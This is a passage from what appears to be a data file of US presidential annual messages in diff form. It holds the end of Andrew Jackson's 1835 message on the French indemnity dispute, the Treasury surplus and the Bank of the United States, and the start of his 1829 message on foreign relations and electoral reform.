was\nhoped it would no longer hesitate to pay the installments now due. The\nagent authorized to receive the money was instructed to inform the\nFrench minister of his readiness to do so. In reply to this notice he\nwas told that the money could not then be paid, because the formalities\nrequired by the act of the Chambers had not been arranged.Not having received any official information of the intentions of the\nFrench Government, and anxious to bring, as far as practicable, this\nunpleasant affair to a close before the meeting of Congress, that you\nmight have the whole subject before you, I caused our charge d'affaires\nat Paris to be instructed to ask for the final determination of the\nFrench Government, and in the event of their refusal to pay the\ninstallments now due, without further explanations to return to the\nUnited States.The result of this last application has not yet reached us, but is\ndaily expected. That it may be favorable is my sincere wish. France\nhaving now, through all the branches of her Government, acknowledged\nthe validity of our claims and the obligation of the treaty of 1831,\nand there really existing no adequate cause for further delay, will at\nlength, it may be hoped, adopt the course which the interests of both\nnations, not less than the principles of justice, so imperiously\nrequire. The treaty being once executed on her part, little will remain\nto disturb the friendly relations of the two countries--nothing,\nindeed, which will not yield to the suggestions of a pacific and\nenlightened policy and to the influence of that mutual good will and of\nthose generous recollections which we may confidently expect will then\nbe revived in all their ancient force.In any event, however, the principle involved in the new aspect which\nhas been given to the controversy is so vitally important to the\nindependent administration of the Government that it can neither be\nsurrendered nor compromitted without national degradation. I hope it is\nunnecessary for me to say that such a sacrifice will not be made\nthrough any agency of mine. The honor of my country shall never be\nstained by an apology from me for the statement of truth and the\nperformance of duty; nor can I give any explanation of my official acts\nexcept such as is due to integrity and justice and consistent with the\nprinciples on which our institutions have been framed. This\ndetermination will, I am confident, be approved by my constituents. I\nhave, indeed, studied their character to but little purpose if the sum\nof 25,000,000 francs will have the weight of a feather in the\nestimation of what appertains to their national independence, and if,\nunhappily, a different impression should at any time obtain in any\nquarter, they will, I am sure, rally round the Government of their\nchoice with alacrity and unanimity, and silence for ever the degrading\nimputation.Having thus frankly presented to you the circumstances which since the\nlast session of Congress have occurred in this interesting and\nimportant matter, with the views of the Executive in regard to them, it\nis at this time only necessary to add that when ever the advices now\ndaily expected from our charge d'affaires shall have been received they\nwill be made the subject of a special communication.The condition of the public finances was never more flattering than at\nthe present period.Since my last annual communication all the remains of the public debt\nhave been redeemed, or money has been placed in deposit for this\npurpose when ever the creditors choose to receive it. All the other\npecuniary engagements of the Government have been honorably and\npromptly fulfilled, and there will be a balance in the Treasury at the\nclose of the year of about $19,000,000. It is believed that after\nmeeting all outstanding and unexpended appropriations there will remain\nnear $11,000,000 to be applied to any new objects which Congress may\ndesignate or to the more rapid execution of the works already in\nprogress. In aid of these objects, and to satisfy the current\nexpenditures of the ensuing year, it is estimated that there will be\nreceived from various sources $20,000,000 more in 1836.Should Congress make new appropriations in conformity with the\nestimates which will be submitted from the proper Departments,\namounting to about $24,000,000, still the available surplus at the\nclose of the next year, after deducting all unexpended appropriations,\nwill probably not be less than $6,000,000. This sum can, in my\njudgment, be now usefully applied to proposed improvements in our navy\nyards, and to new national works which are not enumerated in the\npresent estimates or to the more rapid completion of those already\nbegun. Either would be constitutional and useful, and would render\nunnecessary any attempt in our present peculiar condition to divide the\nsurplus revenue or to reduce it any faster than will be effected by the\nexisting laws.In any event, as the annual report from the Secretary of the Treasury\nwill enter into details, shewing the probability of some decrease in\nthe revenue during the next seven years and a very considerable\ndeduction in 1842, it is not recommended that Congress should undertake\nto modify the present tariff so as to disturb the principles on which\nthe compromise act was passed. Taxation on some of the articles of\ngeneral consumption which are not in competition with our own\nproductions may be no doubt so diminished as to lessen to some extent\nthe source of this revenue, and the same object can also be assisted by\nmore liberal provisions for the subjects of public defense, which in\nthe present state of our prosperity and wealth may be expected to\nengage your attention.If, however, after satisfying all the demands which can arise from\nthese sources the unexpended balance in the Treasury should still\ncontinue to increase, it would be better to bear with the evil until\nthe great changes contemplated in our tariff laws have occurred and\nshall enable us to revise the system with that care and circumspection\nwhich are due to so delicate and important a subject.It is certainly our duty to diminish as far as we can the burdens of\ntaxation and to regard all the restrictions which are imposed on the\ntrade and navigation of our citizens as evils which we shall mitigate\nwhen ever we are not prevented by the adverse legislation and policy of\nforeign nations or those primary duties which the defense and\nindependence of our country enjoin upon us. That we have accomplished\nmuch toward the relief of our citizens by the changes which have\naccompanied the payment of the public debt and the adoption of the\npresent revenue laws is manifest from the fact that compared to 1833\nthere is a diminution of near $25,000,000 in the last two years, and\nthat our expenditures, independently of those for the public debt, have\nbeen reduced near $9,000,000 during the same period. Let us trust that\nby the continued observance of economy and by harmonizing the great\ninterests of agriculture, manufactures, and commerce much more may be\naccomplished to diminish the burdens of government and to increase\nstill further the enterprise and the patriotic affection of all classes\nof our citizens and all the members of our happy Confederacy. As the\ndata which the Secretary of the Treasury will lay before you in regard\nto our financial resources are full and extended, and will afford a\nsafe guide in your future calculations, I think it unnecessary to offer\nany further observations on that subject here.Among the evidences of the increasing prosperity of the country, not\nthe least gratifying is that afforded by the receipts from the sales of\nthe public lands, which amount in the present year to the unexpected\nsum of $11,000,000. This circumstance attests the rapidity with which\nagriculture, the first and most important occupation of man, advances\nand contributes to the wealth and power of our extended territory.\nBeing still of the opinion that it is our best policy, as far as we can\nconsistently with the obligations under which those lands were ceded to\nthe United States, to promote their speedy settlement, I beg leave to\ncall the attention of the present Congress to the suggestions I have\noffered respecting it in my former messages.The extraordinary receipts from the sales of the public lands invite\nyou to consider what improvements the land system, and particularly the\ncondition of the General Land Office, may require. At the time this\ninstitution was organized, near a quarter century ago, it would\nprobably have been thought extravagant to anticipate for this period\nsuch an addition to its business as has been produced by the vast\nincrease of those sales during the past and present years. It may also\nbe observed that since the year 1812 the land offices and surveying\ndistricts have been greatly multiplied, and that numerous legislative\nenactments from year to year since that time have imposed a great\namount of new and additional duties upon that office, while the want of\na timely application of force commensurate with the care and labor\nrequired has caused the increasing embarrassment of accumulated arrears\nin the different branches of the establishment.These impediments to the expedition of much duty in the General Land\nOffice induce me to submit to your judgment whether some modification\nof the laws relating to its organization, or an organization of a new\ncharacter, be not called for at the present juncture, to enable the\noffice to accomplish all the ends of its institution with a greater\ndegree of facility and promptitude than experience has proved to be\npracticable under existing regulations. The variety of the concerns and\nthe magnitude and complexity of the details occupying and dividing the\nattention of the Commissioner appear to render it difficult, if not\nimpracticable, for that officer by any possible assiduity to bestow on\nall the multifarious subjects upon which he is called to act the ready\nand careful attention due to their respective importance, unless the\nLegislature shall assist him by a law providing, or enabling him to\nprovide, for a more regular and economical distribution of labor, with\nthe incident responsibility among those employed under his direction.\nThe mere manual operation of affixing his signature to the vast number\nof documents issuing from his office subtracts so largely from the time\nand attention claimed by the weighty and complicated subjects daily\naccumulating in that branch of the public service as to indicate the\nstrong necessity of revising the organic law of the establishment. It\nwill be easy for Congress hereafter to proportion the expenditure on\naccount of this branch of the service to its real wants by abolishing\nfrom time to time the offices which can be dispensed with.The extinction of the public debt having taken place, there is no\nlonger any use for the offices of Commissioners of Loans and of the\nSinking Fund. I recommend, therefore, that they be abolished, and that\nproper measures be taken for the transfer to the Treasury Department of\nany funds, books, and papers connected with the operations of those\noffices, and that the proper power be given to that Department for\nclosing finally any portion of their business which may remain to be\nsettled.It is also incumbent on Congress in guarding the pecuniary interests of\nthe country to discontinue by such a law as was passed in 1812 the\nreceipt of the bills of the Bank of the United States in payment of the\npublic revenue, and to provide for the designation of an agent whose\nduty it shall be to take charge of the books and stock of the United\nStates in that institution, and to close all connection with it after\nthe 3d of March, 1833, when its charter expires. In making provision in\nregard to the disposition of this stock it will be essential to define\nclearly and strictly the duties and powers of the officer charged with\nthat branch of the public service.It will be seen from the correspondence which the Secretary of the\nTreasury will lay before you that not withstanding the large amount of\nthe stock which the United States hold in that institution no\ninformation has yet been communicated which will enable the Government\nto anticipate when it can receive any dividends or derive any benefit\nfrom it.Connected with the condition of the finances and the flourishing state\nof the country in all its branches of industry, it is pleasing to\nwitness the advantages which have been already derived from the recent\nlaws regulating the value of the gold coinage. These advantages will be\nmore apparent in the course of the next year, when the branch mints\nauthorized to be established in North Carolina, Georgia, and Louisiana\nshall have gone into operation. Aided, as it is hoped they will be, by\nfurther reforms in the banking systems of the States and by judicious\nregulations on the part of Congress in relation to the custody of the\npublic moneys, it may be confidently anticipated that the use of gold\nand silver as circulating medium will become general in the ordinary\ntransactions connected with the labor of the country.The great desideratum in modern times is an efficient check upon the\npower of banks, preventing that excessive issue of paper whence arise\nthose fluctuations in the standard of value which render uncertain the\nrewards of labor. It was supposed by those who established the Bank of\nthe United States that from the credit given to it by the custody of\nthe public moneys and other privileges and the precautions taken to\nguard against the evils which the country had suffered in the\nbankruptcy of many of the State institutions of that period we should\nderive from that institution all the security and benefits of a sound\ncurrency and every good end that was attainable under the provision of\nthe Constitution which authorizes Congress alone to coin money and\nregulate the value thereof. But it is scarcely necessary now to say\nthat these anticipations have not been realized.After the extensive embarrassment and distress recently produced by the\nBank of the United States, from which the country is now recovering,\naggravated as they were by pretensions to power which defied the public\nauthority, and which if acquiesced in by the people would have changed\nthe whole character of our Government, every candid and intelligent\nindividual must admit that for the attainment of the great advantages\nof a sound currency we must look to a course of legislation radically\ndifferent from that which created such an institution.In considering the means of obtaining so important an end we must set\naside all calculations of temporary convenience, and be influenced by\nthose only which are in harmony with the true character and the\npermanent interests of the Republic. We must recur to first principles\nand see what it is that has prevented the legislation of Congress and\nthe States on the subject of currency from satisfying the public\nexpectation and realizing results corresponding to those which have\nattended the action of our system when truly consistent with the great\nprinciple of equality upon which it rests, and with that spirit of\nforbearance and mutual concession and generous patriotism which was\noriginally, and must ever continue to be, the vital element of our\nUnion.On this subject I am sure that I can not be mistaken in ascribing our\nwant of success to the undue countenance which has been afforded to the\nspirit of monopoly. All the serious dangers which our system has yet\nencountered may be traced to the resort to implied powers and the use\nof corporations clothed with privileges, the effect of which is to\nadvance the interests of the few at the expense of the many.We have felt but one class of these dangers exhibited in the contest\nwaged by the Bank of the United States against the Government for the\nlast four years. Happily they have been obviated for the present by the\nindignant resistance of the people, but we should recollect that the\nprinciple whence they sprung is an ever-active one, which will not fail\nto renew its efforts in the same and in other forms so long as there is\na hope of success, founded either on the inattention of the people or\nthe treachery of their representatives to the subtle progress of its\ninfluence.The bank is, in fact, but one of the fruits of a system at war with the\ngenius of all our institutions--a system founded upon a political creed\nthe fundamental principle of which is a distrust of the popular will as\na safe regulator of political power, and whose great ultimate object\nand inevitable result, should it prevail, is the consolidation of all\npower in our system in one central government. Lavish public\ndisbursements and corporations with exclusive privileges would be its\nsubstitutes for the original and as yet sound checks and balances of\nthe Constitution--the means by whose silent and secret operation a\ncontrol would be exercised by the few over the political conduct of the\nmany by first acquiring that control over the labor and earnings of the\ngreat body of the people. Wherever this spirit has effected an alliance\nwith political power, tyranny and despotism have been the fruit. If it\nis ever used for the ends of government, it has to be incessantly\nwatched, or it corrupts the sources of the public virtue and agitates\nthe country with questions unfavorable to the harmonious and steady\npursuit of its true interests.We are now to see whether, in the present favorable condition of the\ncountry, we can not take an effectual stand against the spirit of\nmonopoly, and practically prove in respect to the currency as well as\nother important interests that there is no necessity for so extensive a\nresort to it as that which has been heretofore practiced. The\nexperience of another year has confirmed the utter fallacy of the idea\nthat the Bank of the United States was necessary as a fiscal agent of\nthe Government. Without its aid as such, indeed, in despite of all the\nembarrassment it was in its power to create, the revenue has been paid\nwith punctuality by our citizens, the business of exchange, both\nforeign and domestic, has been conducted with convenience, and the\ncirculating medium has been greatly improved.By the use of the State banks, which do not derive their charters from\nthe General Government and are not controlled by its authority, it is\nascertained that the moneys of the United States can be collected and\ndisbursed without loss or inconvenience, and that all the wants of the\ncommunity in relation to exchange and currency are supplied as well as\nthey have ever been before. If under circumstances the most unfavorable\nto the steadiness of the money market it has been found that the\nconsiderations on which the Bank of the United States rested its claims\nto the public favor were imaginary and groundless, it can not be\ndoubted that the experience of the future will be more decisive against\nthem.It has been seen that without the agency of a great moneyed monopoly\nthe revenue can be collected and conveniently and safely applied to all\nthe purposes of the public expenditure. It is also ascertained that\ninstead of being necessarily made to promote the evils of an unchecked\npaper system, the management of the revenue can be made auxiliary to\nthe reform which the legislatures of several of the States have already\ncommenced in regard to the suppression of small bills, and which has\nonly to be fostered by proper regulations on the part of Congress to\nsecure a practical return to the extent required for the security of\nthe currency to the constitutional medium.Severed from the Government as political engines, and not susceptible\nof dangerous extension and combination, the State banks will not be\ntempted, nor will they have the power, which we have seen exercised, to\ndivert the public funds from the legitimate purposes of the Government.\nThe collection and custody of the revenue, being, on the contrary, a\nsource of credit to them, will increase the security which the States\nprovide for a faithful execution of their trusts by multiplying the\nscrutinies to which their operations and accounts will be subjected.\nThus disposed, as well from interest as the obligations of their\ncharters, it can not be doubted that such conditions as Congress may\nsee fit to adopt respecting the deposits in these institutions, with a\nview to the gradual disuse, of the small bills will be cheerfully\ncomplied with, and that we shall soon gain in place of the Bank of the\nUnited States a practical reform in the whole paper system of the\ncountry. If by this policy we can ultimately witness the suppression of\nall bank bills below $20, it is apparent that gold and silver will take\ntheir place and become the principal circulating medium in the common\nbusiness of the farmers and mechanics of the country. The attainment of\nsuch a result will form an era in the history of our country which will\nbe dwelt upon with delight by every true friend of its liberty and\nindependence. It will lighten the great tax which our paper system has\nso long collected from the earnings of labor, and do more to revive and\nperpetuate those habits of economy and simplicity which are so\ncongenial to the character of republicans than all the legislation\nwhich has yet been attempted.To this subject I feel that I can not too earnestly invite the special\nattention of Congress, without the exercise of whose authority the\nopportunity to accomplish so much public good must pass unimproved.\nDeeply impressed with its vital importance, the Executive has taken all\nthe steps within his constitutional power to guard the public revenue\nand defeat the expectation which the Bank of the United States indulged\nof renewing and perpetuating its monopoly on the ground of its\nnecessity as a fiscal agent and as affording a sounder currency than\ncould be obtained without such an institution.In the performance of this duty much responsibility was incurred which\nwould have been gladly avoided if the stake which the public had in the\nquestion could have been otherwise preserved. Although clothed with the\nlegal authority and supported by precedent, I was aware that there was\nin the act of the removal of the deposits a liability to excite that\nsensitiveness to Executive power which it is characteristic and the\nduty of free men to indulge; but I relied on this feeling also,\ndirected by patriotism and intelligence, to vindicate the conduct which\nin the end would appear to have been called for by the interests of my\ncountry. The apprehensions natural to this feeling that there may have\nbeen a desire, through the instrumentality of that measure, to extend\nthe Executive influence, or that it may have been prompted by motives\nnot sufficiently free from ambition, were not over-looked. Under the\noperation of our institutions the public servant who is called on to\ntake a step of high responsibility should feel in the freedom which\ngives rise to such apprehensions his highest security. When unfounded\nthe attention which they arouse and the discussions they excite deprive\nthose who indulge them of the power to do harm; when just they but\nhasten the certainty with which the great body of our citizens never\nfail to repel an attempt to procure the sanction to any exercise of\npower inconsistent with the jealous maintenance of their rights.Under such convictions, and entertaining no doubt that my\nconstitutional obligations demanded the steps which were taken in\nreference to the removal of the deposits, it was impossible for me to\nbe deterred from the path of duty by a fear that my motives could be\nmisjudged or that political prejudices could defeat the just\nconsideration of the merits of my conduct. The result has shewn how\nsafe is this reliance upon the patriotic temper and enlightened\ndiscernment of the people. That measure has now been before them and\nhas stood the test of all the severe analysis which its general\nimportance, the interests it affected, and the apprehensions it excited\nwere calculated to produce, and it now remains for Congress to consider\nwhat legislation has become necessary in consequence.I need only add to what I have on former occasions said on this subject\ngenerally that in the regulations which Congress may prescribe\nrespecting the custody of the public moneys it is desirable that as\nlittle discretion as may be deemed consistent with their safe-keeping\nshould be given to the executive agents. No one can be more deeply\nimpressed than I am with the soundness of the doctrine which restrains\nand limits, by specific provisions, executive discretion, as far as it\ncan be done consistently with the preservation of its constitutional\ncharacter. In respect to the control over the public money this\ndoctrine is peculiarly applicable, and is in harmony with the great\nprinciple which I felt I was sustaining in the controversy with the\nBank of the United States, which has resulted in severing to some\nextent a dangerous connection between a moneyed and political power.\nThe duty of the Legislature to define, by clear and positive\nenactments, the nature and extent of the action which it belongs to the\nExecutive to superintend springs out of a policy analogous to that\nwhich enjoins upon all branches of the Federal Government an abstinence\nfrom the exercise of powers not clearly granted.In such a Government, possessing only limited and specific powers, the\nspirit of its general administration can not be wise or just when it\nopposes the reference of all doubtful points to the great source of\nauthority, the States and the people, whose number and diversified\nrelations securing them against the influences and excitements which\nmay mislead their agents, make them the safest depository of power. In\nits application to the Executive, with reference to the legislative\nbranch of the Government, the same rule of action should make the\nPresident ever anxious to avoid the exercise of any discretionary\nauthority which can be regulated by Congress. The biases which may\noperate upon him will not be so likely to extend to the representatives\nof the people in that body.In my former messages to Congress I have repeatedly urged the propriety\nof lessening the discretionary authority lodged in the various\nDepartments, but it has produced no effect as yet, except the\ndiscontinuance of extra allowances in the Army and Navy and the\nsubstitution of fixed salaries in the latter. It is believed that the\nsame principles could be advantageously applied in all cases, and would\npromote the efficiency and economy of the public service, at the same\ntime that greater satisfaction and more equal justice would be secured\nto the public officers generally.The accompanying report of the Secretary of War will put you in\npossession of the operations of the Department confided to his care in\nall its diversified relations during the past year.I am gratified in being able to inform you that no occurrence has\nrequired any movement of the military force, except such as is common\nto a state of peace. The services of the Army have been limited to\ntheir usual duties at the various garrisons upon the Atlantic and\nin-land frontier, with the exceptions states by the Secretary of War.\nOur small military establishment appears to be adequate to the purposes\nfor which it is maintained, and it forms a nucleus around which any\nadditional force may be collected should the public exigencies\nunfortunately require any increase of our military means.", 
+    "name": "Andrew Jackson"
+}
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+{
+    "date": "December 8, 1829", 
+    "speech": "Fellow Citizens of the Senate and of the House of Representatives:It affords me pleasure to tender my friendly greetings to you on the\noccasion of your assembling at the seat of Government to enter upon the\nimportant duties to which you have been called by the voice of our\ncountry-men. The task devolves on me, under a provision of the\nConstitution, to present to you, as the Federal Legislature of 24\nsovereign States and 12,000,000 happy people, a view of our affairs,\nand to propose such measures as in the discharge of my official\nfunctions have suggested themselves as necessary to promote the objects\nof our Union.In communicating with you for the first time it is to me a source of\nunfeigned satisfaction, calling for mutual gratulation and devout\nthanks to a benign Providence, that we are at peace with all man-kind,\nand that our country exhibits the most cheering evidence of general\nwelfare and progressive improvement. Turning our eyes to other nations,\nour great desire is to see our brethren of the human race secured in\nthe blessings enjoyed by ourselves, and advancing in knowledge, in\nfreedom, and in social happiness.Our foreign relations, although in their general character pacific and\nfriendly, present subjects of difference between us and other powers of\ndeep interest as well to the country at large as to many of our\ncitizens. To effect an adjustment of these shall continue to be the\nobject of my earnest endeavors, and not with standing the difficulties\nof the task, I do not allow myself to apprehend unfavorable results.\nBlessed as our country is with every thing which constitutes national\nstrength, she is fully adequate to the maintenance of all her\ninterests. In discharging the responsible trust confided to the\nExecutive in this respect it is my settled purpose to ask nothing that\nis not clearly right and to submit to nothing that is wrong; and I\nflatter myself that, supported by the other branches of the Government\nand by the intelligence and patriotism of the people, we shall be able,\nunder the protection of Providence, to cause all our just rights to be\nrespected.Of the unsettled matters between the United States and other powers,\nthe most prominent are those which have for years been the subject of\nnegotiation with England, France, and Spain. The late periods at which\nour ministers to those Governments left the United States render it\nimpossible at this early day to inform you of what has been done on the\nsubjects with which they have been respectively charged. Relying upon\nthe justice of our views in relation to the points committed to\nnegotiation and the reciprocal good feeling which characterizes our\nintercourse with those nations, we have the best reason to hope for a\nsatisfactory adjustment of existing differences.With Great Britain, alike distinguished in peace and war, we may look\nforward to years of peaceful, honorable, and elevated competition.\nEvery thing in the condition and history of the two nations is\ncalculated to inspire sentiments of mutual respect and to carry\nconviction to the minds of both that it is their policy to preserve the\nmost cordial relations. Such are my own views, and it is not to be\ndoubted that such are also the prevailing sentiments of our\nconstituents. Although neither time nor opportunity has been afforded\nfor a full development of the policy which the present cabinet of Great\nBritain designs to pursue toward this country, I indulge the hope that\nit will be of a just and pacific character; and if this anticipation be\nrealized we may look with confidence to a speedy and acceptable\nadjustment of our affairs.Under the convention for regulating the reference to arbitration of the\ndisputed points of boundary under the 5th article of the treaty of\nGhent, the proceedings have hitherto been conducted in that spirit of\ncandor and liberality which ought ever to characterize the acts of\nsovereign States seeking to adjust by the most unexceptionable means\nimportant and delicate subjects of contention. The first sentiments of\nthe parties have been exchanged, and the final replication on our part\nis in a course of preparation. This subject has received the attention\ndemanded by its great and peculiar importance to a patriotic member of\nthis Confederacy. The exposition of our rights already made is such as,\nfrom the high reputation of the commissioners by whom it has been\nprepared, we had a right to expect. Our interests at the Court of the\nSovereign who has evinced his friendly disposition by assuming the\ndelicate task of arbitration have been committed to a citizen of the\nState of Maine, whose character, talents, and intimate acquaintance\nwith the subject eminently qualify him for so responsible a trust. With\nfull confidence in the justice of our cause and in the probity,\nintelligence, and uncompromising independence of the illustrious\narbitrator, we can have nothing to apprehend from the result.From France, our ancient ally, we have a right to expect that justice\nwhich becomes the sovereign of a powerful, intelligent, and magnanimous\npeople. The beneficial effects produced by the commercial convention of\n1822, limited as are its provisions, are too obvious not to make a\nsalutary impression upon the minds of those who are charged with the\nadministration of her Government. Should this result induce a\ndisposition to embrace to their full extent the wholesome principles\nwhich constitute our commercial policy, our minister to that Court will\nbe found instructed to cherish such a disposition and to aid in\nconducting it to useful practical conclusions. The claims of our\ncitizens for depredations upon their property, long since committed\nunder the authority, and in many instances by the express direction, of\nthe then existing Government of France, remain unsatisfied, and must\ntherefore continue to furnish a subject of unpleasant discussion and\npossible collision between the two Governments. I cherish, however, a\nlively hope, founded as well on the validity of those claims and the\nestablished policy of all enlightened governments as on the known\nintegrity of the French Monarch, that the injurious delays of the past\nwill find redress in the equity of the future. Our minister has been\ninstructed to press these demands on the French Government with all the\nearnestness which is called for by their importance and irrefutable\njustice, and in a spirit that will evince the respect which is due to\nthe feelings of those from whom the satisfaction is required.Our minister recently appointed to Spain has been authorized to assist\nin removing evils alike injurious to both countries, either by\nconcluding a commercial convention upon liberal and reciprocal terms or\nby urging the acceptance in their full extent of the mutually\nbeneficial provisions of our navigation acts. He has also been\ninstructed to make a further appeal to the justice of Spain, in behalf\nof our citizens, for indemnity for spoliations upon our commerce\ncommitted under her authority--an appeal which the pacific and liberal\ncourse observed on our part and a due confidence in the honor of that\nGovernment authorize us to expect will not be made in vain.With other European powers our intercourse is on the most friendly\nfooting. In Russia, placed by her territorial limits, extensive\npopulation, and great power high in the rank of nations, the United\nStates have always found a steadfast friend. Although her recent\ninvasion of Turkey awakened a lively sympathy for those who were\nexposed to the desolation of war, we can not but anticipate that the\nresult will prove favorable to the cause of civilization and to the\nprogress of human happiness. The treaty of peace between these powers\nhaving been ratified, we can not be insensible to the great benefit to\nbe derived by the commerce of the United States from unlocking the\nnavigation of the Black Sea, a free passage into which is secured to\nall merchant vessels bound to ports of Russia under a flag at peace\nwith the Porte. This advantage, enjoyed upon conditions by most of the\npowers of Europe, has hitherto been withheld from us. During the past\nsummer an antecedent but unsuccessful attempt to obtain it was renewed\nunder circumstances which promised the most favorable results. Although\nthese results have fortunately been thus in part attained, further\nfacilities to the enjoyment of this new field for the enterprise of our\ncitizens are, in my opinion, sufficiently desirable to insure to them\nour most zealous attention.Our trade with Austria, although of secondary importance, has been\ngradually increasing, and is now so extended as to deserve the\nfostering care of the Government. A negotiation, commenced and nearly\ncompleted with that power by the late Administration, has been\nconsummated by a treaty of amity, navigation, and commerce, which will\nbe laid before the Senate.During the recess of Congress our diplomatic relations with Portugal\nhave been resumed. The peculiar state of things in that country caused\na suspension of the recognition of the representative who presented\nhimself until an opportunity was had to obtain from our official organ\nthere information regarding the actual and, as far as practicable,\nprospective condition of the authority by which the representative in\nquestion was appointed. This information being received, the\napplication of the established rule of our Government in like cases was\nno longer withheld.Considerable advances have been made during the present year in the\nadjustment of claims of our citizens upon Denmark for spoliations, but\nall that we have a right to demand from that Government in their behalf\nhas not yet been conceded. From the liberal footing, however, upon\nwhich this subject has, with the approbation of the claimants, been\nplaced by the Government, together with the uniformly just and friendly\ndisposition which has been evinced by His Danish Majesty, there is a\nreasonable ground to hope that this single subject of difference will\nspeedily be removed.Our relations with the Barbary Powers continue, as they have long been,\nof the most favorable character. The policy of keeping an adequate\nforce in the Mediterranean, as security for the continuance of this\ntranquillity, will be persevered in, as well as a similar one for the\nprotection of our commerce and fisheries in the Pacific.The southern Republics of our own hemisphere have not yet realized all\nthe advantages for which they have been so long struggling. We trust,\nhowever, that the day is not distant when the restoration of peace and\ninternal quiet, under permanent systems of government, securing the\nliberty and promoting the happiness of the citizens, will crown with\ncomplete success their long and arduous efforts in the cause of\nself-government, and enable us to salute them as friendly rivals in all\nthat is truly great and glorious.The recent invasion of Mexico, and the effect thereby produced upon her\ndomestic policy, must have a controlling influence upon the great\nquestion of South American emancipation. We have seen the fell spirit\nof civil dissension rebuked, and perhaps for ever stifled, in that\nRepublic by the love of independence. If it be true, as appearances\nstrongly indicate, the spirit of independence is the master spirit, and\nif a corresponding sentiment prevails in the other States, this\ndevotion to liberty can not be without a proper effect upon the\ncounsels of the mother country. The adoption by Spain of a pacific\npolicy toward her former colonies--an event consoling to humanity, and\na blessing to the world, in which she herself can not fail largely to\nparticipate--may be most reasonably expected.The claims of our citizens upon the South American Governments\ngenerally are in a train of settlement, while the principal part of\nthose upon Brazil have been adjusted, and a decree in council ordering\nbonds to be issued by the minister of the treasury for their amount has\nreceived the sanction of His Imperial Majesty. This event, together\nwith the exchange of the ratifications of the treaty negotiated and\nconcluded in 1828, happily terminates all serious causes of difference\nwith that power.Measures have been taken to place our commercial relations with Peru\nupon a better footing than that upon which they have hitherto rested,\nand if met by a proper disposition on the part of that Government\nimportant benefits may be secured to both countries.Deeply interested as we are in the prosperity of our sister Republics,\nand more particularly in that of our immediate neighbor, it would be\nmost gratifying to me were I permitted to say that the treatment which\nwe have received at her hands has been as universally friendly as the\nearly and constant solicitude manifested by the United States for her\nsuccess gave us a right to expect. But it becomes my duty to inform you\nthat prejudices long indulged by a portion of the inhabitants of Mexico\nagainst the envoy extraordinary and minister plenipotentiary of the\nUnited States have had an unfortunate influence upon the affairs of the\ntwo countries, and have diminished that usefulness to his own which was\njustly to be expected from his talents and zeal. To this cause, in a\ngreat degree, is to be imputed the failure of several measures equally\ninteresting to both parties, but particularly that of the Mexican\nGovernment to ratify a treaty negotiated and concluded in its own\ncapital and under its own eye. Under these circumstances it appeared\nexpedient to give to Mr. Poinsett the option either to return or not,\nas in his judgment the interest of his country might require, and\ninstructions to that end were prepared; but before they could be\ndispatched a communication was received from the Government of Mexico,\nthrough its charge d'affaires here, requesting the recall of our\nminister. This was promptly complied with, and a representative of a\nrank corresponding with that of the Mexican diplomatic agent near this\nGovernment was appointed. Our conduct toward that Republic has been\nuniformly of the most friendly character, and having thus removed the\nonly alleged obstacle to harmonious intercourse, I can not but hope\nthat an advantageous change will occur in our affairs.In justice to Mr. Poinsett it is proper to say that my immediate\ncompliance with the application for his recall and the appointment of a\nsuccessor are not to be ascribed to any evidence that the imputation of\nan improper interference by him in the local politics of Mexico was\nwell founded, nor to a want of confidence in his talents or integrity,\nand to add that the truth of the charges has never been affirmed by the\nfederal Government of Mexico in its communications with us.I consider it one of the most urgent of my duties to bring to your\nattention the propriety of amending that part of the Constitution which\nrelates to the election of President and Vice-President. Our system of\ngovernment was by its framers deemed an experiment, and they therefore\nconsistently provided a mode of remedying its defects.To the people belongs the right of electing their Chief Magistrate; it\nwas never designed that their choice should in any case be defeated,\neither by the intervention of electoral colleges or by the agency\nconfided, under certain contingencies, to the House of Representatives.\nExperience proves that in proportion as agents to execute the will of\nthe people are multiplied there is danger of their wishes being\nfrustrated. Some may be unfaithful; all are liable to err. So far,\ntherefore, as the people can with convenience speak, it is safer for\nthem to express their own will.The number of aspirants to the Presidency and the diversity of the\ninterests which may influence their claims leave little reason to\nexpect a choice in the first instance, and in that event the election\nmust devolve on the House of Representatives, where it is obvious the\nwill of the people may not be always ascertained, or, if ascertained,\nmay not be regarded. From the mode of voting by States the choice is to\nbe made by 24 votes, and it may often occur that one of these will be\ncontrolled by an individual Representative. Honors and offices are at\nthe disposal of the successful candidate. Repeated ballotings may make\nit apparent that a single individual holds the cast in his hand. May he\nnot be tempted to name his reward?But even without corruption, supposing the probity of the\nRepresentative to be proof against the powerful motives by which it may\nbe assailed, the will of the people is still constantly liable to be\nmisrepresented. One may err from ignorance of the wishes of his\nconstituents; another from a conviction that it is his duty to be\ngoverned by his own judgment of the fitness of the candidates; finally,\nalthough all were inflexibly honest, all accurately informed of the\nwishes of their constituents, yet under the present mode of election a\nminority may often elect a President, and when this happens it may\nreasonably be expected that efforts will be made on the part of the\nmajority to rectify this injurious operation of their institutions. But\nalthough no evil of this character should result from such a perversion\nof the first principle of our system--that the majority is to\ngovern--it must be very certain that a President elected by a minority\ncan not enjoy the confidence necessary to the successful discharge of\nhis duties.In this as in all other matters of public concern policy requires that\nas few impediments as possible should exist to the free operation of\nthe public will. Let us, then, endeavor so to amend our system that the\noffice of Chief Magistrate may not be conferred upon any citizen but in\npursuance of a fair expression of the will of the majority.I would therefore recommend such an amendment of the Constitution as\nmay remove all intermediate agency in the election of the President and\nVice-President. The mode may be so regulated as to preserve to each\nState its present relative weight in the election, and a failure in the\nfirst attempt may be provided for by confining the second to a choice\nbetween the two highest candidates. In connection with such an\namendment it would seem advisable to limit the service of the Chief\nMagistrate to a single term of either four or six years. If, however,\nit should not be adopted, it is worthy of consideration whether a\nprovision disqualifying for office the Representatives in Congress on\nwhom such an election may have devolved would not be proper.While members of Congress can be constitutionally appointed to offices\nof trust and profit it will be the practice, even under the most\nconscientious adherence to duty, to select them for such stations as\nthey are believed to be better qualified to fill than other citizens;\nbut the purity of our Government would doubtless be promoted by their\nexclusion from all appointments in the gift of the President, in whose\nelection they may have been officially concerned. The nature of the\njudicial office and the necessity of securing in the Cabinet and in\ndiplomatic stations of the highest rank the best talents and political\nexperience should, perhaps, except these from the exclusion.There are, perhaps, few men who can for any great length of time enjoy\noffice and power without being more or less under the influence of\nfeelings unfavorable to the faithful discharge of their public duties.\nTheir integrity may be proof against improper considerations\nimmediately addressed to themselves, but they are apt to acquire a\nhabit of looking with indifference upon the public interests and of\ntolerating conduct from which an unpracticed man would revolt. Office\nis considered as a species of property, and 